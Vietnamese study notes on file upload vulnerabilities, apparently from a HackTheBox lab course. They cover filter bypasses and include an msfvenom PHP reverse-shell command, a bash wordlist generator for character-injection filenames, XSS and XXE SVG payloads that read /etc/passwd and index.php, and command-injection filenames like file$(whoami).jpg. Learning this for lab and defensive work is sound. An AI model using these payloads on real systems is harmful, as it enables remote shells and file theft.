# File Upload Vul
1) Types of FileUpload Attacks
- Ngoài việc upload file nguy hiểm để upshell hoặc script để reverse shell thì chưc năng upload file còn có thể được khai thác để dẫn tới các lỗi như:
+ XSS,XXE
+ DOS
+ Ghi đè những file hệ thống và cấu hình quan trọng
+ ...
2) Absent Validation(Xác thực yếu)
2.1 Arbitary File Upload(Tải lên tệp tuỳ ý)
2.2 Identifying Web Framework (Xác định Framework Web)
2.3 Vulnerability Identification(Xác định lỗ hổng)
3) Upload Exploitation
3.1 Web Shells
3.2 Reverse Shell
+ Tạo một Revershell với msfvenom: msfvenom -p php/reverse_php LHOST=OUR_IP LPORT=OUR_PORT -f raw > reverse.php
4) Client-side validation(Xác thực bên máy khách)
Question: Try to bypass the client-side file type validations in the above exercise, then upload a web shell to read /flag.txt (try both bypass methods for better practice)

- Thử upload 1 file ảnh bất kỳ

- Ta cũng có thể truy cập vào file ảnh vừa upload

- Dùng Burp Suite thử sửa tên file xem được chấp nhận không

- Như vậy là up được => upload webshell

- Tìm /flag

5) Blacklist Filters
- Tồn tại 2 kiểu phòng thủ bên phía backend: Blacklist Filter và Whitelist Filter
- Ở Blacklist Filter thì sẽ Filter file ở extension file,file type và file content
5.1) Fuzzing Extenison(Fuzzing xem extension nào được chấp nhận)
Question: Try to find an extension that is not blacklisted and can execute PHP code on the web server, and use it to read "/flag.txt"
- Upload 1 ảnh bất kỳ lên

- Ta có thể truy cập vào ảnh vừa upload qua đường dẫn

- Thử sửa extension file

- Nhận được thông báo extension không dc cho phép => fuzzing extension

- Sau khi thử thấy extension phar thành công

- Đọc flag

6) Whitelist Filters
- Whitelist phòng thủ tốt hơn blacklist nhưng tuy nhiên blacklist lại đáp ứng đc nhiều nhu cầu khách hàng hơn
6.1) Whitelisting Extensions
- Ngăn chặn bằng việc sử dụng kiểm tra xem tên file có chứa những đuôi file chỉ định hay khong
6.2) Double Extensions
- Bypasss bằng việc thêm đuôi shell.jpg.php
6.3) Reverse Double Extension
- Sai lầm trong việc kiểm tra
6.4) Character Injection
* %20
* %0a
* %00
* %0d0a
* /
* .\
* .
* …
* :
for char in '%20' '%0a' '%00' '%0d0a' '/' '.\\' '.' '…' ':'; do
for ext in '.php' '.phps'; do
echo "shell$char$ext.jpg" >> wordlist.txt
echo "shell$ext$char.jpg" >> wordlist.txt
echo "shell.jpg$char$ext" >> wordlist.txt
echo "shell.jpg$ext$char" >> wordlist.txt
done
done
Question: sau khi check thì thấy hệt hống kiểm tra xem đuôi file cuối co phải jpg hay không và sử dụng blacklist để loại những file cấm, tuy nhiên lại không phòng chống được tất cả
7) Type Filters
- Ngoài các cách bảo vệ trên extension, còn có thể bảo vệ giữa trên content-type header và file content.
7.1) Content-Type
7.2) MIMTE-type
- Question: The above server employs Client-Side, Blacklist, Whitelist, Content-Type, and MIME-Type filters to ensure the uploaded file is an image. Try to combine all of the attacks you learned so far to bypass these filters and upload a PHP file and read the flag at "/flag.txt"
- Sau khi intruder để check thì thấy phtml có thể dùng dc
- Ngoài ra còn kiểm tra bằng cả content type => sửa thành image/jpg
- Kiểm tra file content: thêm GIF8
=> file sẽ là test.jpg.html
8) Limited File Uploads
8.1) XSS
- Nhiều lỗ hổng file upload dẫn tới store XSS
exiftool -Comment=' "><img src=1 onerror=alert(window.origin)>' HTB.jpg
XSS trong xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg xmlns="http://www.w3.org/2000/svg" version="1.1" width="1" height="1">
<rect x="1" y="1" width="1" height="1" fill="green" stroke="black" />
<script type="text/javascript">alert(window.origin);</script>
</svg>
8.2) XXE
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE svg [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>
<svg>&xxe;</svg>
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE svg [ <!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=index.php"> ]>
<svg>&xxe;</svg>
8.3) DoS
9) Other Upload Attacks
9.1) Injections in File Name
- Ngoài việc chèn nội dung tệp nguy hiểm để khai thác shell, Ta có thể chèn vào filename để có thể thực hiện OS command
- Ví dụ: file$(whoami).jpg,file`whoami`.jpg,file.jpg||whoami
- Tuowng tu ta có thể chèn XSS payload cũng như chèn SQL injection
9.2) Upload Directory Disclosure
- Để lô thông tin thư mục đã tải lên bằng cách cố ý gây ra lỗi
9.3) Windows-specific Attacks
- Gây ra tiết lộ file, DOS
9.4) Advanced File Upload Attacks
-